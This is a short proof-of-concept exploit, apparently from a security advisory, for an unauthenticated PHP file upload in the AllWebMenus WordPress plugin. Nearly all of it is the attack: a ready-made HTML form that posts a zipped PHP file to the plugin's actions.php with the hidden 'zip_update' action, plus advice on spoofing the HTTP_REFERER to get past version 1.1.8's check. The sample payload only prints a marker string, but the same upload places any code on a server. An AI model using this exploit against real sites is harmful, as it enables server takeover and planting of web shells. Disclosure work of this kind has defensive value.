Create a file (For example, Wordpress_security.php , with this content <?php echo '6Scan to the rescue'; ?> ) Compress it with zip to awm.zip Use this form to upload the php file to the server <form action="http://server/wp-content/plugins/allwebmenus-wordpress-menu-plugin/actions.php" method=post enctype="multipart/form-data"> <input type="file" name="awm1" size=100> <input type="hidden" name="AWM_menu_id" value="2134234"> <input type="hidden" name="theaction" value="zip_update"> <input type=submit> </form> Version 1.1.8 also checks the source referrer, so you have to use scripting language (or spoof it in another way) to set the HTTP_REFERER to "wp-admin/options-general.php?page=allwebmenus-wordpress-menu-plugin/allwebmenus-wordpress-menu.php"
